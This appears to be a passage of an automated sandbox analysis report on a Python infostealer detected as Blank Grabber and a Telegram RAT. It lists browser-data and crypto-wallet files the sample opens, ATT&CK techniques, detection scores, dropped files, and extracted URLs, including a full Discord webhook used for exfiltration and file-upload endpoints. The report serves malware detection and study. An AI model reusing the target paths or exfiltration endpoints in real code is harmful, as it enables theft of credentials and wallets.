Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000002.00000003.1760965599.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1762531034.00000161970DF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1757718097.000001619762A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1329466434.00000162E122B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1759071926.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1765429469.00000161970E2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1329466434.00000162E1229000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7600, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI76002\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe PID: 7656, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	4 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	1 Native API	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	112 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	21 Obfuscated Files or Information	Security Account Manager	47 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	11 Software Packing	NTDS	151 Security Software Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	141 Virtualization/Sandbox Evasion	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	58%	ReversingLabs	Win64.Trojan.Lazy
SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	100%	Avira	HEUR/AGEN.1351111
SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\Users\user\AppData\Local\Temp\_MEI76002\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\libcrypto-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\libssl-1_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\python311.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI76002\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label
https://www.avito.ru/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	0%	URL Reputation	safe
http://crl.microsoft	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	0%	URL Reputation	safe
https://www.leboncoin.fr/	0%	URL Reputation	safe
https://tools.ietf.org/html/rfc2388#section-4.4	0%	URL Reputation	safe
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	0%	URL Reputation	safe
https://weibo.com/	0%	URL Reputation	safe
https://www.msn.com	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://cacerts.digi	0%	URL Reputation	safe
https://peps.python.org/pep-0205/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://www.amazon.ca/	0%	URL Reputation	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	100%	URL Reputation	malware
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
https://www.ebay.de/	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0.html	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://www.amazon.com/	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://httpbin.org/	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	0%	URL Reputation	safe
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://allegro.pl/	0%	URL Reputation	safe
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	0%	URL Reputation	safe
https://MD8.mozilla.org/1/m	0%	URL Reputation	safe
https://www.python.org/psf/license/	0%	URL Reputation	safe
https://bugzilla.mo	0%	URL Reputation	safe
http://tools.ietf.org/html/rfc6125#section-6.4.3	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	0%	URL Reputation	safe
https://foss.heptapod.net/pypy/pypy/-/issues/3539	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
https://www.python.org/download/releases/2.3/mro/.	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	0%	Avira URL Cloud	safe
https://api.anonfiles.com/upload	0%	Avira URL Cloud	safe
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	0%	Avira URL Cloud	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	0%	URL Reputation	safe
https://discord.com/api/v9/users/	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	0%	URL Reputation	safe
https://github.com/Blank-c/BlankOBF	0%	Avira URL Cloud	safe
https://yahoo.com/	0%	URL Reputation	safe
https://account.bellmedia.c	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	Avira URL Cloud	safe
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	Avira URL Cloud	safe
http://logo.verisM	0%	Avira URL Cloud	safe
http://crl.thawte.com/ThawteTimestampingCA.crl0	0%	URL Reputation	safe
https://html.spec.whatwg.org/multipage/	0%	URL Reputation	safe
https://www.ifeng.com/	0%	URL Reputation	safe
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	0%	URL Reputation	safe
https://api.telegram.org/bot	0%	Avira URL Cloud	safe
http://www.microsoft.co	0%	Avira URL Cloud	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://www.iana.org/time-zones/repository/tz-link.html	0%	URL Reputation	safe
https://api.gofile.io/getServer	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicCodeSigningCAEVR36.crl0	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
https://sectigo.com/CPS0	0%	URL Reputation	safe
https://www.amazon.co.uk/	0%	URL Reputation	safe
http://ocsp.thawte.com0	0%	URL Reputation	safe
https://json.org	0%	URL Reputation	safe
https://www.wykop.pl/	0%	URL Reputation	safe
https://twitter.com/	0%	URL Reputation	safe
https://www.olx.pl/	0%	URL Reputation	safe
https://support.mozilla.org/products/firefox	0%	URL Reputation	safe
https://discord.com/api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	0%	Avira URL Cloud	safe
https://www.reddit.com/	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	Avira URL Cloud	safe
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	0%	Avira URL Cloud	safe
http://www.microsoftISPLA~1.PNGy./	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0$	0%	Avira URL Cloud	safe
https://www.bbc.co.uk/	0%	Avira URL Cloud	safe
https://google.com/mail	0%	Avira URL Cloud	safe
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	0%	Avira URL Cloud	safe
https://www.iqiyi.com/	0%	Avira URL Cloud	safe
https://discordapp.com/api/v9/users/	0%	Avira URL Cloud	safe
https://www.zhihu.com/	0%	Avira URL Cloud	safe
https://github.com/urllib3/urllib3/issues/2920	0%	Avira URL Cloud	safe
http://google.com/	0%	Avira URL Cloud	safe
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	0%	Avira URL Cloud	safe
http://crl.com	0%	Avira URL Cloud	safe
https://discord.com/api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5nvJ2v6LXEGk7f3ADrpknC	0%	Avira URL Cloud	safe
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	0%	Avira URL Cloud	safe
https://google.com/	0%	Avira URL Cloud	safe
https://support.mozi	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.135.232	true	true		unknown
ip-api.com	208.95.112.1	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5nvJ2v6LXEGk7f3ADrpknC	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Blank-c/BlankOBF	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1348132300.0000016196D26000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1347801982.0000016196D21000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1347431395.0000016197B29000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.avito.ru/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	false	URL Reputation: safe	unknown
https://api.telegram.org/bot	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoft	powershell.exe, 0000002D.00000002.1621418533.0000014D22810000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://logo.verisM	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1759071926.00000161970CF000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1760369369.00000161970F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe	false	URL Reputation: safe	unknown
http://www.microsoft.co	powershell.exe, 0000002D.00000002.1543405775.0000014D086EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1336732957.0000016194C7C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1334579050.0000016194C7D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1763991117.0000016194C14000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1332892203.0000016196A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.leboncoin.fr/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://tools.ietf.org/html/rfc2388#section-4.4	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C10000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1763991117.0000016194C14000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://weibo.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197F34000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.anonfiles.com/upload	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767792449.0000016198484000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000009.00000002.1544534122.0000028190078000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1611004763.0000014D1A6CD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1546305256.0000014D0BE79000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1611004763.0000014D1A58A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://discord.com/api/v9/users/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765055251.0000016196E10000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767261493.0000016197B30000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cacerts.digi	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1327045626.00000162E1233000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GNzbMA16ssY5	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1461416760.00000161970A9000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1459998422.00000161970A8000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1437068870.000001619707C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1408881507.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1457822695.0000016197083000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1424909795.000001619707F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://discord.com/api/webhooks/1220929699618750534/zhSTomvYGhmMHwb8qcNrPuGLmzvJ7OZ0dj098Ewa_79bqm5	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767352465.0000016197C70000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0205/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764659477.0000016196B10000.00000004.00001000.00020000.00000000.sdmp, base_library.zip.0.dr	false	URL Reputation: safe	unknown
https://www.reddit.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000009.00000002.1502951944.0000028180001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.1546305256.0000014D0A511000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.ca/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1372221043.00000161970B5000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767449451.0000016197D70000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764313337.0000016196638000.00000004.00001000.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1332892203.0000016196A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002D.00000002.1546305256.0000014D0A73A000.00000004.00000800.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000009.00000002.1502951944.0000028180229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ebay.de/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002D.00000002.1546305256.0000014D0A73A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://go.micro	powershell.exe, 0000002D.00000002.1546305256.0000014D0B779000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1336732957.0000016194C7C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1332921264.0000016194C8B000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1334579050.0000016194C7D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1763991117.0000016194C14000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1332892203.0000016196A01000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1767569172.0000016197EE4000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000002D.00000002.1611004763.0000014D1A58A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://httpbin.org/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765287498.0000016197083000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000000.00000003.1329121115.00000162E1226000.00000004.00000020.00020000.00000000.sdmp, rar.exe.0.dr	false	URL Reputation: safe	unknown
http://www.microsoftISPLA~1.PNGy./	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1765146576.0000016197067000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1350868217.0000016197390000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1349900990.0000016197390000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000003.1349950556.0000016196D6C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	SecuriteInfo.com.Python.Muldrop.18.23042.15901.exe, 00000002.00000002.1764753885.0000016196C55000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
